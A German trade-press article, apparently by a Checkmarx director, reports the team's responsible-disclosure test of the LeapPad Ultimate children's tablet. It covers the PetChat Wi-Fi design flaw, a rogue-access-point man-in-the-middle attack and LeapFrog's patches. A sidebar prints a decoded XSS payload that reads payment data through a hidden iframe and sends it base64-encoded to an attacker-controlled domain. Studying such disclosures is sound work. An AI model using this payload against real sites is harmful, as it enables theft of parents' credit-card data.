Wi-Fi- und Code-Schwachstellen bei Kinder-Tablets Sichere Softwareentwicklung beginnt im Kleinen

Autor / Redakteur: Dr. Christopher Brennan * / Stephan Augsten

Bei Tablets mit Lern- und Spiele-Apps verlassen sich Eltern darauf, dass die Geräte gefährliche Inhalte filtern und Apps abgesichert sind. Doch auch hier finden sich Sicherheitslücken, wie das Checkmarx Security Research Team am Beispiel des LeapPad Ultimate von LeapFrog zeigen konnte.

Anbieter zum Thema

Per Cross-Site Scripting gelang Checkmarx ein Man-in-the-Middle-Angriff auf ein Kinder-Tablet, Hersteller LeapFrog reagierte mit Security-Patches.
Per Cross-Site Scripting gelang Checkmarx ein Man-in-the-Middle-Angriff auf ein Kinder-Tablet, Hersteller LeapFrog reagierte mit Security-Patches.
(Bild: Checkmarx / LeapFrog)

Die interaktiven Spielzeuge des US-amerikanischen Herstellers LeapFrog verbinden Lernangebote spielerisch mit neuester Technologie. Sie sind äußerlich robust, funktionieren auch ohne WLAN-Verbindung und kommen mit einem breiten Angebot vorinstallierter Spiele, Videos, eBooks und Apps für Kinder zwischen drei und sechs Jahren.

Die Produkte werden auf dem amerikanischen und europäischen Markt vertrieben und sind auch in vielen deutschen Online-Shops erhältlich. Dabei gelten die Geräte mit ihrem eingeschränkten Netzzugang, ihrer proprietären Hardware und ihrem jugendfreien App-Angebot als vergleichsweise sichere Alternative zum „richtigen“ Tablet.

Um zu testen, wie es um die Sicherheit der Geräte tatsächlich steht, stellte das Checkmarx Security Research Team das LeapPad Ultimate auf den Prüfstand – und dokumentierte dabei gravierende Design- und Code-Schwächen. LeapFrog nahm den 2019 publizierten Report zum Anlass für eine Reihe sicherheitsrelevanter Patches und Software-Updates und entfernte eine anfällige App vollständig aus dem Angebot.

Hier der Testverlauf und die Resultate im Überblick:

1. Schwachstellen im Design: PetChat

Im ersten Schritt nahmen sich die Security-Experten die App „PetChat“ vor – einen LeapFrog-Chatroom, in dem Kinder über Avatare und vorgegebene Phrasen und Emoticons miteinander sprechen können. Da es sich bei PetChat um eine proprietäre Plattform handelt und die Kinder auch nicht mehr als 30 Meter voneinander entfernt sein dürfen, wirkt die Kommunikationsplattform auf den ersten Blick sehr sicher.

Die App basiert allerdings nicht etwa auf etablierten WLAN-Standards, sondern nutzt ein eigenes Wi-Fi-Design. Dabei werden kontinuierlich neue Ad-hoc-WLAN-Verbindungen aufgebaut und mit der SSID „PetChat“ an andere kompatible Geräte in der Nähe gesendet.

Das Research-Team erkannte schnell, dass sich die ad hoc errichteten Hotspots sehr einfach mit Suchmaschinen wie WiGLE (einer Website, die Informationen zu Wireless-Hotspots rund um den Globus bereitstellt) lokalisieren lassen. Auf diese Weise könnten Angreifer mit ganz legalen Tools jederzeit den Standort des LeapPads – und damit den des Kindes – identifizieren.

Dies wiegt umso schwerer, als dass das PetChat-Protokoll keine echte User-Authentifizierung unterstützt und keine Identitätsprüfung zwischen dem Gerät eines Außenstehenden und dem Gerät eines Kindes erfordert. Das bedeutet, dass Fremde die Kinder am LeapPad nicht nur lokalisieren, sondern ihnen aus bis zu 30 Metern Entfernung Nachrichten senden könnten. In diesem Zusammenhang sind selbst scheinbar harmlose, voreingestellte Sätze wie „Komm raus zum Spielen!“ äußerst bedrohlich.

Welche Lehren sich daraus ziehen lassen

Bei der PetChat-Schwachstelle handelt es sich um einen klassischen Designfehler. Die proprietäre Ad-hoc-WLAN-Verbindung meldet das Gerät permanent im drahtlosen Netzwerk an und ab, wodurch sich die Angriffsfläche massiv vergrößert.

Dies ist umso ärgerlicher, als die Schwachstelle leicht vermeidbar gewesen wäre, wenn sich die App-Entwickler einfach an den etablierten Industriestandards für den WLAN-Access orientiert hätten. Diese weisen ein wesentlich höheres Sicherheitslevel auf als eigenentwickelte Lösungen – und werden zudem kontinuierlich von der Community weiterentwickelt.

2. Sicherheitslücken im Code

Im zweiten Schritt untersuchte das Research-Team den Code der Anwendungen auf dem Tablet. Dafür schlüpften die Experten in die Rolle des Angreifers: Sie richteten mit WiFi-Pumpkin einen Rogue Access Point ein und leiteten den Traffic des Tablets auf das neu erstellte Rogue-Netzwerk um. Auf diese Weise waren sie als Man-in-the-Middle (MitM) in der Lage, die Kommunikation zwischen Client und Server abzufangen und zu manipulieren.

Dies ist vor allem dann ein Problem, wenn der Traffic – wie beim LeapPad – nicht vollständig via HTTPS verschlüsselt, sondern zum Teil in Klartext (HTTP) übertragen wird. Denn dann ist es dem Angreifer möglich, die übermittelten Inhalte mitzulesen und sogar eigenen Code in den Traffic zu injizieren, etwa, um Bild und Text zu ändern.

Einfallstor XSS

Über das WiFi-Pumpkin-Netzwerk konnte das Checkmarx-Team eine Vielzahl relevanter personenbezogener Informationen abfangen, darunter etwa:

  • Kreditkarteninformationen (Kartenmarke, Name des Besitzers, Kreditkartennummer mit sechs fehlenden Ziffern, Ablaufdatum, Rechnungsadresse und Telefonnummer)
  • Daten der Eltern (E-Mail, Name, Kontostand, Adresse)
  • Daten des Kindes (Name, Geschlecht, Geburtsjahr und Geburtsmonat)

Diese waren zwar durch HTTPS-Verschlüsselung und Cross-Origin Resource Sharing geschützt. Das Team konnte die Sicherheitsvorkehrungen aber mittels einer Kombination aus Cross-Site-Scripting (XSS) und Iframes umgehen.

Beim XSS-Exploit nutzen die Angreifer eine Sicherheitslücke auf dem Client oder dem Server aus, um Schadcode in vermeintlich vertrauenswürdige Umgebungen einzubetten. So lassen sich mit XSS etwa Internetseiten verändern, Browser übernehmen oder vertrauliche Informationen wie Passwörter entwenden.

Anschließend nahmen die Checkmarx-Experten den geräteeigenen Web-Browser LeapSearch ins Visier, um die letzten fehlenden Informationen (namentlich die fehlenden sechs Ziffern der Kreditkartennummer) zu extrahieren. Dafür erstellten sie eine dem echten Browser zum Verwechseln ähnliche „Phishing-Version“ des Portals.

Dort wurde der Anwender dazu aufgefordert, die hinterlegte Kreditkartennummer zwecks Authentisierung zu vervollständigen. Da der LeapSearch Browser über keine URL-Leiste verfügt und die Hacker viele im ersten Schritt abgefangene Daten einbinden konnten, war die präsentierte Kopie sehr überzeugend – und hätte zweifellos die meisten Eltern getäuscht.

Ergänzendes zum Thema
Das Vorgehen bei der Phishing-Attacke

1. Das Checkmarx-Team erstellte mit WiFi-Pumpkin ein Skript, um die LeapSearch-Domain in die von ihm kontrollierte Domain zu ändern.

2. Da die fetch() HTML5-Funktionalität im Browser deaktiviert ist, luden die Experten das JSON mit den Kreditkarteninformationen (die nur auf der HTTPS-Version der LeapFrog-Website und nicht auf dem Gerät zugänglich sind) in ein IFrame und erhielten/versendeten diese Informationen dann mit Hilfe einer XSS-Schwachstelle:

Dekodiert:

<div align=”center”><h1 style=”color:#D73030; font-size: 64px”><b>Account locked!</b></h1><-form id=demoForm><input name=button3 type=button value=”CLICK HERE TO UNLOCK” style=”width: 260px; height: 80px; font-size: 20px;”><input type=hidden name=display size=30 readonly=readonly></form>
<iframe src=https://www.leapfrog.com/engb/store/xhr/data/paymentData.jsp id=ifrm style=”width: 0; height: 0; border: 0; border: none; position: absolute;”></iframe>

<script>var form = document.forms[0];form.elements.button3.onclick = function()
{
var ifrm=document.getElementById(“ifrm”);this.form.elements.display.value=ifrm.contentDocument.body.innerHTML;window. location=’http://leapsearch.leapfrog.c om/bogota/webpages/?cc=’ + window.btoa(this.form.elements.display.value);
}
</script></div>

Anschließend füllt das Checkmarx-Skript die Phishing-Seite mit den Daten und sendet die Informationen an den Server des Angreifers zurück.

Welche Lehren sich daraus ziehen lassen

XSS gehört zu den häufigsten Schwachstellen moderner Web-Anwendungen. Entsprechend gut dokumentiert ist auch, wie man sich dagegen schützt: So empfehlen die OWASP Secure Coding Practices den Entwicklern unter anderem, den User-Input stets sorgfältig zu validieren und zu bereinigen, den User-Output zu codieren und mittels Whitelisting die Nutzung unerlaubter Zeichen zu unterbinden. In kritischen Umgebungen – etwa bei der Programmierung von Software für Kinder – ist es darüber hinaus empfehlenswert, in eine dedizierte Software-Security-Plattform zu investieren, die den gesamten SDLC abdeckt.

Reaktion seitens LeapFrog

Nach Abschluss der Untersuchung dokumentierte das Research-Team die Ergebnisse, fasste sie in einem Bericht zusammen und leitete diesen an LeapFrog weiter. Das Unternehmen reagierte vorbildlich: Es nahm die Sicherheitsrisiken sehr ernst und handelte schnell.

Bereits kurz nach Erscheinen des Berichts entfernte LeapFrog PetChat aus sämtlichen Stores, da der Designfehler nicht durch einen Software-Patch zu beheben war. Sofern das Gerät älter als drei Jahre ist empfehlen die Checkmarx-Experten den Eltern, die Anwendung manuell zu deinstallieren oder nicht zu verwenden. Die Sicherheitslücken behob das Unternehmen zeitnah mit Patches.

„Der Schutz der Kinder, die unsere Produkte verwenden, [hat] oberste Priorität […]“, unterstrich Mari Sunderland, Vizepräsidentin für digitales Produktmanagement. Checkmarx sei hilfsbereit, ethisch und professionell vorgegangen. „Mit den bereitgestellten Informationen konnten wir sofort die nötigen Maßnahmen zur Behebung der Probleme ergreifen.“

Fazit

Hersteller von internetfähigen Devices legen viel Wert auf Effizienz und schnelle Produktzyklen. Die Software-Sicherheit wird aber oft erst im Nachlauf der Entwicklung angegangen. Dabei muss die Sicherheit gerade bei Software für Kinder bereits in der Entwicklung an erster Stelle stehen, da das Gefahrenpotenzial bei Kindern wesentlich höher ist. Auch ist der Umgang mit der Technologie bei den sehr jungen Usern vollkommen unkalkulierbar.

Mit einer vollumfänglichen Software-Security-Lösung, die automatisierte Test- und Optimierungsprozesse nahtlos in den Software Development Lifecycle einbettet, lassen sich Programmierfehler in Anwendungen bereits in der Entwicklungsphase vermeiden. So minimieren Hersteller das Angriffsrisiko ihrer Produkte, ohne die Entwicklungsgeschwindigkeit zu beeinträchtigen.

Interessierte Leser finden den vollständigen Report zum LeapPad-Testing auf den Seite von Checkmarx.

* Dr. Christopher Brennan ist Director DACH bei Checkmarx.

(ID:46222101)